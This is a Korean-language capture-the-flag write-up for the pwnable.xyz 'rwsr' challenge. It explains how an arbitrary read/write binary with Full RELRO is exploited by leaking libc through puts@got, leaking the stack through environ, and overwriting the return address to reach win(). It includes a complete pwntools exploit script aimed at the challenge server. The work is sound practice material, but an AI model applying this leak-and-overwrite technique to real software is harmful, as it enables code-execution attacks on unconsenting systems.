[pwnable.xyz]rwsr
Full RELRO, Canary, NX 보호기법이 적용되어있다.
[*] '/vagrant/ctfs/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
원하는 주소의 값을 읽을 수 있고 그 해당 주소에 값을 쓸 수 있다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char *s; // ST10_8
char *v6; // ST10_8
setup();
puts("Read Write Sleep Repeat.");
do
{
while ( 1 )
{
while ( 1 )
{
print_menu();
v3 = read_ulong();
if ( v3 != 1 )
break;
printf("Addr: ", argv); // read
s = read_ulong();
puts(s);
}
if ( v3 != 2 ) // write
break;
printf("Addr: ", argv);
v6 = read_ulong();
printf("Value: ");
*v6 = read_ulong();
}
}
while ( v3 );
return 0;
}
write라 got 덮을라 했는데 Full RELRO여서 return address를 write하는 방법을 생각했다.
environ을 이용해서 stack leak을 해주면 된다. 우선 원하는 주소의 값을 알 수 있으니까 puts@got를 read하면 실제 주소가 나올거고 립씨 베이스도 구할 수 있다.
environ을 이용해서 stack 릭하는 방법은 libc_base + libc.symbols['environ']
을 leak하면 stack 주소를 구할 수 있다.
그리고 리턴 주소를 구해야하는데 우선 rbp+8이 리턴주소니까 rbp와 leak한 stack주소의 오프셋을 구해줘서 + 8 해주면 된다.
이후에 2번 메뉴 Write로 return address에 win함수 주소를 넣고 exit해주면 win으로 리턴된다.
environ을 이용해서 stack leak하기 위해서 필요한 것은 립씨 베이스를 알아야하고 environ을 leak할 수 있어야한다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./challenge')
# p = process('./challenge')
# libc = e.libc
p = remote('svc.pwnable.xyz',30019)
libc = ELF('alpine-libc-2.28.so')
sa = lambda x,y : p.sendafter(x,y)
sla = lambda x,y : p.sendlineafter(x,y)
win = e.symbols['win']
main = e.symbols['main']
sla('>','1')
sa(':',str(e.got['puts']))
puts = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.info('puts : {}'.format(hex(puts)))
libc_base = puts - libc.symbols['puts']
log.info('libc_base : {}'.format(hex(libc_base)))
environ_ptr = libc_base + libc.symbols['environ']
log.info('environ_ptr : {}'.format(hex(environ_ptr)))
sla('>','1')
sa(':',str(environ_ptr))
environ = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')
log.info('environ : {}'.format(hex(environ)))
# environ - rbp = 248
rbp = environ - 248
log.info('rbp : {}'.format(hex(rbp)))
return_add = rbp + 8
log.info('return : {}'.format(hex(return_add)))
sla('>','2')
sa(':',str(return_add))
sa(':',str(win))
sla('>','0')
p.interactive()